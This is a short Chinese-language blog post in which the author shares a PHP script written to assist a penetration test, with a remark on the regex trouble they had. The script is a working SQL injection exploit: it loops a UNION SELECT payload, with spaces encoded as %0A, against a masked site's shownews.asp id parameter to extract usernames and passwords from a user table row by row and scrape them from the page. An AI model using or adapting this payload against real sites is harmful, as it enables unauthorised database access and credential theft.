標籤:from log int ini mat select list 空格 top
因為一個注入要爬行一些資料,然後寫的一個小指令碼,能寫指令碼來輔助滲透,也算是裡程碑。哈哈哈
<?php $num = 1;while ($num <= 39) {$web_url = "http://www.xxx.com/shownews.asp?id=626%0AUNION%0ASELECT%0Atop%0A1%0A1,user_username,3,user_password,5,6%0Afrom%0A(select%0Atop%0A1%0Auser_username,user_phone%0Afrom%0A(select%0Atop%0A".$num."%0Auser_username,user_phone%0Afrom%0Azy_user%0Awhere%0A1=1%0Aorder%0Aby%0Auser_username)%0At%0Aorder%0Aby%0Auser_username%0Adesc)t";$curl = curl_init();curl_setopt($curl, CURLOPT_URL,$web_url);curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);$html_code = curl_exec($curl);$re = "/<div class=\"helpcontent\">[\s\S]*div>/U";//U取消貪婪模式if(preg_match_all($re, $html_code, $arr)){ print_r($arr[0]);}curl_close($curl);$num = $num + 1;echo "<br />";} ?>
這裡遇到了最大的問題還是正則匹配。匹配那個換行。因為html標籤是這樣的。
<div class="news_list fr"> <h1>wtmpvp</h1> <div class="helpcontent">這裡是要匹配的內容 </div></div>
可見匹配當中有換行,且一大堆空格。
然後寫半天寫正則寫不出來。賊尷尬。
寫一個php小指令碼輔助滲透測試